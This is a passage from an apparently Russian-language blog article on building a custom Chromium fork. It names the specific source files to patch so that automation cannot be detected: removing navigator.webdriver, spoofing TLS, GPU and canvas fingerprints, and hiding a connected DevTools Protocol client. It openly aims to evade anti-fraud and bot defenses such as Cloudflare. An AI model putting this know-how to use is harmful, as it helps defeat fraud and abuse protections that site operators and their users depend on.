Сигнатуры на уровне C++. Многие флаги живут в C++ объектах, которые даже не видны из JS. --enable-automation влияет на поведение chrome.runtime, chrome.webstore, chrome.loadTimes() (deprecated, но иногда используется), на алгоритмы рандомизации в Math.random() (да, есть баги, по которым можно определить headless-режим), на поведение Element.getBoundingClientRect() в некоторых edge case.
Ты никогда не сможешь полностью эмулировать реальный браузер из JS-песочницы. Потому что слишком много низкоуровневых вещей торчит через C++-объекты, которые либо есть, либо нет, либо ведут себя иначе.
Именно поэтому индустрия антидетекта (и честного парсинга) идёт по пути форка Chromium. Не просто сборка с флагами, а изменение исходного кода на C++.
Что именно меняют?
--enable-automation и navigator.webdriverИдём в //content/common/user_agent.cc и //components/embedder_support/user_agent_utils.cc. Убираем флаг CDP_HOST и все проверки на автоматизацию. Делаем так, чтобы navigator.webdriver всегда был undefined, даже если через DevTools Protocol подключились.
В //net/socket/ssl_client_socket_impl.cc и //net/ssl/ssl_config_service.cc подменяем набор шифров, порядок их отправки, поддержку расширений TLS. Можно захардкодить отпечаток, идентичный реальной версии Chrome на популярной ОС.
//gpu/config/gpu_info_collector.cc — подменяем строки GL_VENDOR, GL_RENDERER на значения реальной видеокарты (даже если работаем в Docker).//third_party/blink/renderer/core/frame/navigator.cc — добавляем недостающие плагины в navigator.plugins, подставляем реальные языки, deviceMemory, hardwareConcurrency.//third_party/blink/renderer/modules/canvas/canvas_rendering_context_host.cc — модифицируем отрисовку canvas, чтобы отпечаток совпадал с реальным браузером (например, отключаем антиалиасинг или наоборот — включаем там, где в headless он отключён).Меняем поведение performance.now() и Date() — добавляем микро-задержки, чтобы они не были идеально ровными. Меняем Math.random() на криптостойкий PRNG, но с определёнными паттернами, чтобы он не палился тестами на энтропию.
Убираем возможность определять, что к браузеру подключён CDP-клиент. Меняем поведение команд Page.navigate, Input.dispatchMouseEvent так, чтобы они эмитировали события, неотличимые от реальных (добавляем случайные офсеты в клики, случайные задержки, движение мыши по кривой).
Перепрошивка Chromium — это не «скачал исходники, поправил 10 строк, собрал». Это:
navigator.webdriver (спойлер: не в одном месте, а в четырёх разных файлах и двух Mojo-интерфейсах).Но результат того стоит. Браузер, который:
--enable-automation.Такой браузер не отличить от реального пользователя (по крайней мере, на текущем уровне технологий). Именно на таких кастомных сборках строятся профессиональные антидетект-системы и enterprise-решения для парсинга.
Chromium — это не браузер. Это платформа для построения браузеров. И если тебе нужно не просто открыть страницу, а остаться невидимым для антифрода, стандартные инструменты не подходят.
Puppeteer, Playwright, Selenium — это игрушки для разработчиков, а не оружие для войны с Cloudflare. Настоящая автоматизация начинается там, где ты компилируешь Chromium сам, правишь C++, пересобираешь его для трёх ОС, поддерживаешь кучу патчей и каждые две недели бьёшься с новой версией Blink.
Но когда ты это делаешь правильно, ты становишься невидимым. А это, согласись, стоит затраченных усилий.